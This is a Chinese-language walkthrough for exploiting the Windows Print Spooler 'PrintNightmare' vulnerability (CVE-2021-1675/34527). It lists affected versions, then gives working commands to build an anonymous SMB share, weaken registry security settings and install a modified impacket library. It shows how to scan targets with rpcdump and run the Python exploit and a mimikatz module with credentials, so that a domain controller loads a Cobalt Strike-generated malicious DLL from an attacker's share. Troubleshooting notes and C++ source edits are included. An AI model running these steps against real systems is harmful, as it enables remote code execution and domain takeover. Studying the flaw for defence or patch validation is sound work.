漏洞描述

此漏洞一开始为CVE-2021-1675,随后微软把此漏洞分配给了CVE-2021-34527,并提到了两个漏洞很像,但是攻击向量是不同的。
详见: CVE-2021-34527 - 安全更新程序指南 - Microsoft - Windows 打印后台处理程序远程执行代码漏洞
cve-2021-1675的更新补丁只是修复了本地提权利用,远程代码执行还是可以利用。

Github 公布的地址:https://github.com/afwu/PrintNightmare

影响版本

  • Windows 7

  • Windows 8.1

  • Windows 10

  • Windows Server 2008 R2

  • Windows Server 2012

  • Windows Server 2016

  • Windows Server 2019

漏洞准备

环境准备

  • 一个普通权限的域账户
  • 目标开启Spooler服务
  • 创建的smb服务允许匿名访问,即目标可以直接获取到文件

首先创建一个可以允许匿名访问的 smb, 在域控上必须能直接获取到文件
windows系统创建方法:

三好学生大佬的脚本: 3gstudent/Invoke-BuildAnonymousSMBServer: Use to build an anonymous SMB file server.

cube0x0作者给的脚本, 复制下面信息到一个PS1文件中,管理员权限运行该powershell脚本:

// powershell版本过低的话会报错

mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot

kali配置smb共享

参考:复现CVE-2021-1675 - Rainbovv - 博客园

[global]
workgroup = WORKGROUP
server string = Samba Server
netbios name = MYSERVER
log file = /var/log/samba/log.%m
max log size = 50
security = user
map to guest = Bad User
[smb]
comment = Template Directories
browseable = yes
writeable = yes
path = /tmp/
guest ok = yes

配置完毕以后,需要执行命令开启samba服务即可

service smbd start

常见报错

pDriverPath无法枚举问题

虽然最新版exp可以自动枚举驱动目录,但我安装的WinServer2019版本会报错枚举失败,如果失败的话就只能手动置顶py脚本中的pDriverPath变量值,并把上一句注释掉。

#blob = getDrivers(dce, handle)``pDriverPath = ‘自定义路径+\\UNIDRV.DLL'

dll加载问题

1.exp执行完毕没有报错,但是就是不上线
// 需要检查dll是否是64位,建议重新生成64位dll测试,dll并未执行,验证用户不是普通域用户账号。

2.exp执行过程报错“DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied”。 
// 检查smb共享是否可以匿名访问。

3.exp执行过程报错“DCERPCSessionError: RPRN SessionError: code: 0x3 - ERROR_PATH_NOT_FOUND - The system cannot find the path specified.” 
// 检查dll加载地址,kali下用单引号, windows 用双引号

漏洞利用

利用工具

python版本的 https://github.com/cube0x0/CVE-2021-1675
C#版: https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare
C++版本的 https://github.com/afwu/PrintNightmare
本地提权版: https://github.com/hlldz/CVE-2021-1675-LPE
mimikatz: 2.2.0 20210709 Printnightmare rewrited

漏洞过程

  1. 首先搭建一个SMB匿名共享,放恶意dll文件。
  2. 工具运行后会先检测C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_xx 文件名,自动替换。
  3. 然后远程拉取我们设置的匿名共享的恶意dll文件执行

python版本

其中python版本的exp需要按照说明文档安装exp作者的impacket库,其余不需要修改任何东西。

pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

可以使用rpcdump.py来扫描潜在的易受攻击的主机,如果它返回一个值,它可能是易受攻击的
协议:[MS-RPRN]:打印系统远程协议

kali
python3 rpcdump.py @192.168.0.1 | grep MS-RPRN

win
python3 rpcdump.py @192.168.0.1 | findstr MS-RPRN

然后进行利用,这里使用 dll 是 cs 生成的 dll

win
python3 CVE-2021-1675.py djhons.com/test:Admin@123@192.168.0.1 "\\192.168.0.2\smb\shell.dll"

kali
python3 CVE-2021-1675.py djhons.com/test:Admin@123@192.168.0.1 '\\192.168.0.2\smb\shell.dll'

mimikatz

mimikatz.exe
misc::printnightmare /server:192.168.0.1 /authuser:localuser /authpassword:pass /library:\\192.168.0.2\smb\shell.dll /nodynamic

c++版本

没测试,需要改源码,参考一下。

推荐使用其他工具,可以自动枚举路径。

//info.pDriverPath = (LPWSTR)L"C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_[受害机特有的]\\Amd64\\UNIDRV.DLL";

info.pDriverPath = (LPWSTR)L"C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL";

剩下是将含有old的路径改为 
C:\\Windows\\System32\\spool\\drivers\\x64\\%s。

参考文章

https://www.cnblogs.com/Mikasa-Ackerman/p/CVE20211675lou-dong-fu-xian.html
复现CVE-2021-1675
https://mp.weixin.qq.com/s/Vceup70C9USoM4JwK-6Z9w
https://mp.weixin.qq.com/s/iNOb6cBAfMwCm2AjqbdEvQ
CVE-2021-1675 打印机漏洞沦陷域控的补充 07/02/21